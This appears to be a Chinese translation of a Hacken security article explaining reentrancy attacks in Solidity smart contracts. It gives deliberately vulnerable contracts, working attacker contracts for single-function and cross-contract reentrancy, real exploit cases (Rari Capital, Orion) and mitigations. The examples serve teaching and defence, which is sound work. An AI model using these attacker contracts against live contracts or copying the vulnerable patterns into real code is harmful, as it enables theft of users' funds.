重入攻击:智能合约中的风险、影响和预防

  • hacken
  • 发布于 2025-06-27 11:53
  • 阅读 11

本文深入探讨了重入攻击,这是一种针对智能合约的常见安全威胁。文章详细分析了重入攻击的原理、不同类型(包括单函数重入、跨函数重入和跨合约重入),并提供了实际案例,如Rari Capital和Orion Protocol的漏洞利用事件。此外,文章还强调了预防重入攻击的关键措施,包括使用互斥锁、遵循检查-效果-交互模式以及进行定期的安全审计,旨在提高智能合约的安全性。

更新时间:2025年6月26日

阅读时长:9 分钟

作者:Hacken

重入攻击不仅在 Solidity 中普遍存在,而且在其他编程语言中也很普遍,多年来对 智能合约安全性 构成了重大威胁。在 2016 年 DAO 遭到一次备受瞩目的攻击后,这个问题引起了人们的关注,导致了巨大的经济损失。现在,七年多过去了,我们必须分析这些攻击的演变及其对生态系统的影响。

仅在 2023 年上半年,我们就目睹了 24 起 重大攻击,其中重入漏洞牵涉到其中四起事件。该数据突出了重入和当前形势下其他漏洞的持续相关性和潜在风险。

什么是重入攻击?

重入攻击是一种漏洞利用,攻击者利用外部合约调用期间未同步的状态。 这允许重复执行原本只应发生一次的操作,可能导致未经授权的状态更改和操作,例如过度提款。

简单来说,攻击者可以重复执行应该只执行一次的操作。 缺乏适当的同步为攻击者制造了一个漏洞,使他们能够更改不应允许的合约状态。

一个常见的例子是重复提取资金——这是一种严重的漏洞利用,通常会导致巨大的经济损失。

 contract VulnerableWallet {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        require(msg.value >= 1 ether, "Deposits must be no less than 1 Ether");
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        // 检查用户余额
        require(balances[msg.sender] >= 1 ether, "Insufficient funds.  Cannot withdraw" );
        uint256 bal = balances[msg.sender];

        // 发送用户的原生代币
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to withdraw sender's balance");

        // 发送代币后更新用户余额。
        balances[msg.sender] = 0;
    }

在这里,此漏洞的关键点是回退函数。 Solidity 智能合约可以有一个回退函数,并且每当合约收到 coins 时,就会执行其实现。

当调用 withdraw() 函数时,它通过 msg.sender.call 将 coins 发送给投资者,然后将其余额重置为零。 但是,由于发送交易的执行等待黑客的回退函数完成,因此在回退函数完成之前,黑客的余额保持不变。

因此,可以使用与最初调用时相同的状态重新进入 withdraw 函数,从而创建一个循环,导致该函数重复执行原本只应执行一次的操作。

重入攻击的类型

单函数重入

当智能合约中的单个函数在先前调用的完成之前成为重复递归调用的牺牲品时,就会发生单函数重入。

恶意合约示例:

interface IVulnerableWallet {
    function withdraw() external ;
    function deposit()external  payable;
 }

contract Hacker{
    IVulnerableWallet vulnerableWallet;

    constructor(address _wallet){
        vulnerableWallet = InterfaceDao(_wallet);
    }

    function attack() public payable {
        vulnerableWallet.deposit{value: msg.value}();

        // 从 Dao 合约中提取。
        vulnerableWallet.withdraw();
    }

    fallback() external payable{
       if (address(dao).balance >= 1 ether) {
        // 收到任何金额后再次调用 withdraw()
         vulnerableWallet.withdraw();
       }
    }
}
  1. attack() 函数调用 func withdraw (call1)
  2. Withdraw 函数执行行 (bool sent, ) = msg.sender.call{value: bal}("") 并导致在不更新用户余额的情况下执行恶意合约的回退函数。
  3. 回退函数调用 func withdraw (call2)
  4. Withdraw 函数执行行 (bool sent, ) = msg.sender.call{value: bal}("") 并执行回退。
  5. 回退函数调用 func withdraw (calll3)
  6. 等等

上面的恶意代码是单函数重入的一个主要例子。

跨函数重入

跨函数重入涉及智能合约中多个函数的递归调用。 在这种类型的攻击中,攻击者利用智能合约的异步性质,持续回调到多个易受攻击的函数中。

在跨函数重入攻击中,合约中易受攻击的函数与另一个使攻击者受益的函数共享相同的代码库。

以下代码片段提供了此类易受攻击合约的说明:

contract VulnerableContract {
    mapping (address => uint) private userBalance;

    function transfer(address to, uint amount) external {
    if (userBalance[msg.sender] >= amount) {
        userBalance[to] += amount;
        userBalance[msg.sender] -= amount;
    }
}

    function withdraw() public {
        uint withdrawAmount = userBalance[msg.sender];
        (bool success, ) = msg.sender.call.value(withdrawAmount)(""); // 此时可能会发生攻击
        require(success);
        userBalance[msg.sender] = 0;
    }

}

在这里,我们看到 withdraw 函数存在重入漏洞。 但是,还存在一个隐藏的漏洞,可以使用 transfer() 函数来攻击。

在这种情况下,攻击者的回退函数递归调用 transfer() 函数而不是 withdraw() 函数。 由于在执行此代码之前未将余额设置为 0,因此 transfer() 函数可以转移已支出的余额,从而导致双重支出

跨合约重入

当多个合约依赖于同一个状态变量时,通常会发生跨合约重入,但并非所有这些合约都以安全的方式更新此变量。 这种形式的重入尤其阴险,因为它通常难以识别,因为合约的互连性质以及它们对公共状态变量的共享依赖性。

下面是一个基本的 ERC20 代币合约,名为 DevToken,后续合约:VulnerableWallet 将使用它。

contract DevToken {

    . . .

    // 对于 onlyOwner 修改:VulnerableWallet 是此合约的所有者
    mapping (address => uint256) public balances;

    function transfer(address _to, uint256 _value)
        external
        returns (bool success)
    {
        require(balances[msg.sender] >= _value);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function mint(address _to, uint256 _value)
        external
        onlyOwner
        returns (bool success)
    {
        balances[_to] += _value;
        totalSupply += _value;
        return true;
    }

    function burnFrom(address _from)
        external
        onlyOwner
        returns (bool success)
    {
        uint256 amountToBurn = balances[_from];
        balances[_from] -= amountToBurn;
        totalSupply -= amountToBurn;
        return true;
    }

    . . .

}

VulnerableWallet 合约接收 Eth 并根据存款金额铸造 Dev 代币,反之亦然; 它允许通过返回持有的 Dev 代币来提取存入的 Eth。

虽然这些函数采用了重入保护,但 withdrawAll() 缺乏适当的检查-效果-交互模式,这将是这次漏洞利用的关键原因。

最初,攻击者存入一些 Eth 并收到 Dev 代币。 当攻击者的合约调用 withdrawAll 函数时,它会将 Eth 发送给攻击者,并在 DevToken 合约中更新 Dev 代币余额之前触发攻击者的 接收 函数 (success = devToken.burnFrom(msg.sender))。 在恶意的 receive 函数中,合约在更新其状态之前调用 DevToken 合约将 Dev 代币转账到另一个恶意地址,从而导致双重支出。

contract VulnerableWallet is ReentrancyGuard {

    . . .
    function deposit() external payable {
        bool success = devToken.mint(msg.sender, msg.value);
        require(success, "Failed to mint token");
    }

    // 此重入保护不会阻止合约
    // 来自漏洞利用
    function withdrawAll() external nonReentrant {
        uint256 balance = devToken.balanceOf(msg.sender);
        require(balance > 0, "Insufficient balance");

        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");

        success = devToken.burnFrom(msg.sender);
        require(success, "Failed to burn token");
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
    . . .

}

—---------------------------------------------------------------------------------------------------------------------

contract Attacker1{

    function setMaliciousPeer(address _malicious) external {
        attacker2 = _malicious;
    }

    receive() external payable {
        if (address(vulnerableWallet).balance >= 1 ether) {
           devToken.transfer(
attacker2, vulnerableWallet.getUserBalance(address(this))
            );
        }
    }

    function attack() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        vulnerableWallet.deposit{value: 1 ether}();
        vulnerableWallet.withdrawAll();
    }

    function withdrawFunds() external {
        vulnerableWallet.withdrawAll();
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

跨合约重入攻击的逐步分析

初始状态

Eth Attacker1 DevToken Attacker1 Eth Attacker2 DevToken Attacker2
余额 1 Eth 0 Dev 0 Eth 0 Dev

在 Attack1 合约调用 attack() 函数后,它执行以下步骤:

步骤 1:Attacker1.attack() 执行 vulnerableWallet.deposit{value: 1 ether}()。 因此,它为 msg.sender(Attack1 合约)铸造 1 个代币

Eth Attacker1 DevToken Attacker1 Eth Attacker2 DevToken Attacker2
余额 0 Eth 1 Dev 0 Eth 0 Dev

步骤 2:Attacker1.attack() 执行 vulnerableWallet.withdrawAll()。 因此,它执行将 1 ether 发送到 msg.sender(Attacker1),并触发 Attacker1 的回退函数。

Eth Attacker1 DevToken Attacker1 Eth Attacker2 DevToken Attacker2
余额 1 Eth 1 Dev 0 Eth 0 Dev

步骤 3:Attacker1.attack() 接收 Attacker1 的函数。 它在 Wallet 合约通过销毁来更新 DevToken 中的状态之前,将 1 个 Dev 代币发送给 Attacker2。

Eth Attacker1 DevToken Attacker1 Eth Attacker2 DevToken Attacker2
余额 1 Eth 1 Dev 0 Eth 1 Dev

步骤 4: 最后一步,从 Attacker1 销毁 1 个 Dev 代币。

Eth Attacker1 DevToken Attacker1 Eth Attacker2 DevToken Attacker2
余额 1 Eth 0 Dev 0 Eth 1 Dev

总结

Eth Attacker1 DevToken Attacker1 Eth Attacker2 DevToken Attacker2
初始 1 Eth 0 Dev 0 Eth 0 Dev
步骤 1 0 Eth 1 Dev 0 Eth 0 Dev
步骤 2 1 Eth 1 Dev 0 Eth 0 Dev
步骤 3 1 Eth 1 Dev 0 Eth 1 Dev
步骤 4 1 Eth 0 Dev 0 Eth 1 Dev

由于攻击者现在在执行了具有 1 Eth 的恶意攻击后拥有 1 Eth + 1 Dev 代币,因此他们可以重复执行此攻击以铸造大量代币,从而可能导致代币价格膨胀。

重入攻击的真实案例

Rari Capital 重入漏洞利用(2022 年 4 月 30 日)

Rari 协议是一个允许借贷的去中心化平台。 协议的代码是从 Compound 分叉的,他们的开发人员不小心使用了他们的旧提交之一,这导致他们被黑客入侵。

他们的借用函数缺少适当的检查-效果-交互模式。 攻击者已经看到了这一点,并通过获得 150,000,000 USDC 作为闪电贷并将其存入 fUSDC-127 合约并调用易受攻击的借用函数来借用一些资产来做出反应。

正如我们所看到的,该函数首先转移借用的金额,然后更新 accountBorrows 映射。 由于该函数没有任何重入保护,黑客在更新映射之前重复调用借用函数,并耗尽了价值 8000 万美元的资金。

function borrow() external {
…
doTransferOut (borrower, borrowAmount);
// doTransferOut: function doTransferOut(borrower, amount) {
(bool success, )= to.call.value(amount)("");
require(success, "doTransferOut failed");
}
// !!状态更新在转移后进行
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew;
…
}

黑客使用闪电贷借用了 x 数量的资产,并在一个循环中运行了 doTransferOut 函数五次。 在偿还闪电贷后,他们拿走了剩余的 4x 数量并消失了。

交易:0xab486012..

Orion 协议重入漏洞利用(2023 年 2 月 2 日)

Orion 协议在 Ethereum 和 BNB Chain 上都遭受了重入漏洞利用,损失了近 300 万美元。

基本问题是在 PoolFunctionality._doSwapTokens 函数中发现的。 这会导致资产余额(特别是 USDT)的计算不正确。

该攻击是由合约的交换函数中的重入漏洞导致的。 doswapThroughOrionPool 函数允许用户定义的交换路径,从而使攻击者可以使用恶意代币利用这一点并重新进入存款。 情况是 ExchangeWithAtomic 合约未能验证传入的代币并实施重入保护。

交易:0xa6f63fcb..

如何防止智能合约中的重入攻击

处理单函数和跨函数重入

在处理单函数和跨函数重入时,在合约中实现 互斥锁 可以作为一种有效的方法。 此锁充当盾牌,防止同一合约中函数的不断调用,从而阻止重入尝试。

实现此锁定机制的一种广泛接受的方法是从合约中的 OpenZeppelin 库继承 ReentrancyGuard 并使用 nonReentrant 修饰符。“检查-效果-交互”模式也可以用作对抗这些类型的重入的可行对策。

解决跨合约重入

无论重入攻击的类型如何,在智能合约开发中遵循“检查-效果-交互”模式是一种最佳实践,可以增强合约的健壮性,并为所有形式的重入攻击提供重要的保护层。 这样做可以确保正确处理状态及其更新,从而消除任何潜在恶意操纵的空间。

在处理跨合约重入时,问题变得更加复杂。 只有严格遵循“检查-效果-交互”模式,才能有效缓解此类重入。 跨合约交互可能涉及未知或不可预测的外部合约行为,因此需要在任何外部交互发生之前完成所有状态检查和更新。

结论

重入漏洞对软件和区块链开发构成了相当大的风险。 智能合约中的互斥锁、拉取式支付或重入保护等保护措施对于缓解这些威胁至关重要。

此外,在区块链开发的每个阶段,特别是对于智能合约,定期和全面的审计至关重要。 这些审计不仅加强了合约的安全性,而且还增强了用户和利益相关者之间的信任。 我坚信,对安全的深刻理解和优先重视对于区块链技术的可持续发展至关重要。

  • 原文链接: hacken.io/discover/reent...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
hacken
hacken
江湖只有他的大名,没有他的介绍。